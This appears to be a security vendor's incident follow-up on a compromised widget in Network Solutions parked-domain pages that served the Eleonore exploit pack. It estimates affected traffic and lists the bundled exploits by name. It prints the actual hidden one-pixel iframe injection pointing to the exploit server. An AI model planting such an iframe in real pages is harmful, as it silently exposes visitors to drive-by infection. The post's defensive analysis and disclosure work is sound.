We received a number of questions on details of malicious parked domains incident, so let us give some clarifications on the questioned issues.
The scale and impact of incident.
We strongly believe that the number of potentially impacted users is high. There were some misunderstanding that the widget was serving only to Asian IPs. No, the widget was serving once per IP, to all IPs worldwide.
We studied two references to external components, which are rendered by browsers when a parked domain page is loaded. One component is loading a javascript snippet from asiappc.com and is only served to visitors coming from Taiwan or Hong Kong. Another component is loading a widget from a compromised system and is served to any visitor world-wide.
The first component (asian) includes a reference to a counter. Therefore we are can observe volume of traffic from asian IP addresses. The second component is loaded from a compromised system and serves malware via injected iframe once per each unique IP address. As of this moment we are not able to obtain any statistics on this component but we can infer and estimate the numbers using other known factors.
The affected platform
We briefly covered it in our part 1 post, the widget directs the browser to load content from the following exploit server:
...omitted...
<iframe frameborder=0 src="http://96.30.16.216:8037/exemple.com/" width=1 height=1 scrolling=no></iframe>
This URL is still active right now, and is serving Eleonore version 1.3.1:
Eleonore exploit pack (a bundle of exploits with some programmatic logic behind), as most browser exploit packs, tries to serve the "right" exploits to corresponding browsers. This particular version of the bundle targets vulnerabilities in following software: Adobe Reader, Java(cross-browsers), Internet Explorer, Firefox, and Opera. Below is the of included exploits (we'll update the post later to add hyperlinks for the above; sorry for now):
MDAC
MS009-02
ActiveX pack
CompareTo
JNO (JS navigator Object Code)
MS06-006
Font tags
Telnet
PDF collab.getIcon
PDF Util.Printf
PDF collab.collectEmailInfo
Java D&E
Soc pack (iframe ver)
Average infection rates are: 5-17% on North American traffic, and 10-25% on .ru traffic.
Now, the detailed explanation on number of domains and the impact:
The number of visits to these parked domains and actual traffic volume touches a sensitive topic--parked domain monetization. According to Wikipedia's definitions, "Domain parking may also refer to an advertising practice known as parked domain monetization,[1] used primarily by domain name registrars and Internet advertising publishers to monetize type-in traffic visiting a parked or minimally developed domain name.."
How much traffic, and hence money, does this strategy brings? Reference [1] in the above Wikipedia page pointed to ICANNWiki's "Domain Parking" definition:
quote:
"
According to a November 17, 2005 Wall Street Journal article, "revenue from text ads on these sites will total $400 million to $600 million world-wide this year and may reach $1 billion by 2007, according to Susquehanna Financial Group analysts Marianne Wolk and Roxane Previty, who track the online ad industry."
"
How many visitors do we need in order to generate this type of revenue from per-click ads? A lot.
The refered WJS article is available here. There are also other similar market reports. Another interesting number is mentioned here: CircleID: "According to Ram Mohan from Afilias, 3 of the big 5 registrars say that they make over $5m-$8m / year from parked domain monetization pages."
You can also find random forum posts by PPC "businessmen" who generate their revenue through parked domain services:register three digit impressions.
Nevertheless, it's long been a debate (for example here) on the legality of such business, or whether search engines should index parked domains, and if so, how many pages per parked domain should be indexed. In our last post, we provided this link, which showed that Yahoo Search indexes more than 5 million Network Solutions parked domains. Now, only after a few days, clicking on the same page shows only 6 results. If we enter the same search phrases into Bing, it's the same--6 results.
If we want to fight parked domain monetization (do we? should we?), not indexing these pages is definitely a good effort on the part of the search engines.
But the question remains--so what's the number??
We can use the following calculation approach:
- Submit key terms to search engines to make the search engines dump out (only) the parked domains in the search results.
- Sequentially click and analyze the returned URLs.
In our brief experiment, we identified more than a hundred parked domains, and with only 3 of the domains not serving malicious widget at the time of our initial report.
To validate, let's assume that there is only 1,000,000 of parked domains. And then let's assume that out of them only 120,000 were infected. Then the probability for us to click on an arbitrary search result and hit an infected page, would be 120,000 * 100 / 1,000,000 = 12%. This certainly wasn't the case as seen in the video we posted earlier.
Another approach:
The script served by asiappc.com on the default parking page is served only to visitors with IPs located in two geographic regions--Taiwan, and Hong Kong. That script pulls in a public Web analytics service--51.la. The account used does not require a password to view statistics. This analytics account was registered on Feb 5th of this year, and although it is serving to (and therefor recording) only IPs coming from Taiwan and Hong Kong, it still shows a number of 1187301 unique IP visits in total, with only 5316 visits today. This sheds light into just how much traffic the default parking page might be generating in total.
Let us illustrate this with a few screenshots. First screenshot shows that most visitors come from either Taiwan or Hong Kong. One of the server-sides scripts is responsible for determining this, and it of courses uses a different GeoIP database than the one used by the analytics service, and that's why you see that there are still 11% coming from the US--these 11% of IPs are believed to come from either Taiwan or China by the server-side script, but the analytics service believes they come from the US:
So, how many average page views per day? Let's look at the web analytics again. Note that this script is included in many other hosting companies' default parking pages:
According to the analytics, there is an average number of 14,073 page views per day.
According to InternetWorldStats.com, Taiwan and Hong Kong contributes to 2% and 0.6% of Asia's Internet population (China is 50.9%), respectively. Together they make 2.6% of Asia's traffic. Since Asia makes up 42% of the Internet population, Taiwan plus Hong Kong traffic make up 2.6% * 42% = 1.1% of all traffic to all the parking pages that include this particular script.
So 14,073 daily page views / 1.1% = 1,279,363 page views per day--over one million potential daily "parking" page views. Even if Network Solutions contribute to only 1/10th of the parking domains traffic, this is still 127,936 page views per day, that was served with malware, for a long period of time.
What's interesting here, is the fact that what seems to be very little traffic per domain, actually accumulates to a significant volume. If we take a look at the referer rankings, only the top 2 referers (parking pages) had three digit daily page views!
Furthermore, this is the total number of accumulative page views that was served with malware. Slashdot user noc007 commented about our research comments:
===============
"I thought this was a known fact Network Solutions' parked pages served malware in one form or another. Back in July of last year I got some questions from an executive why the domain the company recently registered for was being blocked by the corporate web content filter. Turns out the Network Solutions parked page had an iframe that was serving malware from kolmic.com. I explained it and provided the parked page's html code with the offending code highlighted.
Doing some Google searches showed that I wasn't the only one that had noticed this."
===============
Followed by The-Blue_Clown:
===============
"I had the same exact experience. The only issue was I had an exec that wasn't going to be pushed around by the IT guys. She ordered the filter relaxed. I only got my way when i told her i needed all such requests in writing as she was assuming the known risk i had just finished explaining to her."
===============
We also mentioned similar incidents in the past. In fact, we've seen the same infected widget on a parked domain back in May--we simply did not realize it was on all default parked pages.
The key difference from typical injection attacks that we've seen in the past, such as the recent Apple.com hit by mass SQK injection incident is that such injections are usually cleaned up very quickly.
For large websites, sometimes within a day.
In contrast to that, a persistent injection against a widget or an online ad script on "parked domains"--domains which all together can add up to more than a million page views per day--went unnoticed for for months.
So to conclude, this time we've learned:
1. Parked domains do draw significant traffic, and that's why there's the parked domain monetization business.
2. Since there's traffic, criminals will try to infect parked domains.
3. In this case study, although only two parked domains had three digit daily page views, the daily page view can be over one million. This is due to the sheer large number of parked domains.
4. Compared to another vector for mass spreading drive-by downloads--mass SQL injections, infecting parked domains can result in longer lifespan of the infection, and hence potentially larger accumulative traffic, and hence a potentially larger number of vinctims.
5. Compared with infecting high traffic domains, mass infecting a large number of parked domains may yield comparable or even better accumulative page views. The infection may have a longer life span.
6. Compared to mass SQL injections, compromising a hosting platform allows for much better control of when and what to serve, or not to serve. With a webshell, the attacker can decide to activate serving of malware any time, and also deactivate any time.
*. We note that infecting parked domains can be done via compromising hosting systems or widgets (like this case study), or via malvertising.
An interesting question is: if all parked domains together generate as much traffic as a major website, then which infection will live longer? When you visit a major website and your (good) antivirus alerts you of malware, you tend to want to look into it and perhaps also report it. That's why large websites rarely get away with the public knowing about their infections.
When you visit a parked domain and your antivirus alerts you, would you bother reporting it?
Regardless of the answer, the widget had significant traffic, and it was there serving Eleonore at least since may. That's what we learned this time.
Infections to high traffic domains may generate big news, but it may not be the primary contributor of botnet growth. With respect to drive-by downloads spreading malware, persistent growth of botnets come from the millions of infected pages on the Internet. The challenge lies in how to infect these pages, how to keep them infected, and how to keep security vendors from finding out. Once security vendors find out, patterns are added, antivirus alerts, infection rates drop, the infected domains are fixed, the exploit serving domains are taken down, and the means to spread malware ends. Mass SQL injections and attacks against high traffic domains, though can infect a large number of visitors initially, have a short tail because such efforts are likely to be spotted very quickly.
Infecting parking domains, as in this case study, provided the attackers with a means to still just use a single infection vector to infect a large number of domains, while at the same time, keep the public's attention low enough so the infection can have a very long life span, and hence high accumulative page views, and hence a large number of infections.
Every day, HackAlert continues to generate plenty of records of infected URLs, and we do look into those infected URLs whose Alexa scores are high. But our domain correction mechanism apparently isn't sophisticated enough to automatically alert us of a potential hosting provider compromise. That's why this time, our findings came from a manual investigation effort, which was initiated because we were strongly questioned by one of our clients on why we were flagging some parked pages. We should start to improve this.
Finally, based on the scope of this incident and the surrounding incidence response efforts, we were impressed with Network Solutions speed and honesty. We sent Shashi, their Blogger Relations Manager, a tweet, to which is responded very quickly. Later, by reading his tweets, we realized that he was on vacation (and it was on a weekend). He was on phone with us shortly, and a couple of hours later the widget was disabled. They made no attempt to hide the fact, and published a blog timely. Although we disagree on the number of infected domains, we felt they handled this particular incidence very well.
The beginning of year saw attacks increasing targeted at hosting companies; many of which fell prey and as a result, multiple hosted websites / blogs served malware for a period of time. Drive-by downloads can be massively spread via mass SQL injections, hosting platform compromises, widget infections, parked domain mass infections, LAN man-in-the-middle, and WAN man-in-the-middle. From our observation, the number of attempts to mass-spread drive-by downloads continues to rise. Web owners and hosting providers should be alerted, and also realize that a great deal can be learnt from past incidents.
Read more (rest of article)...
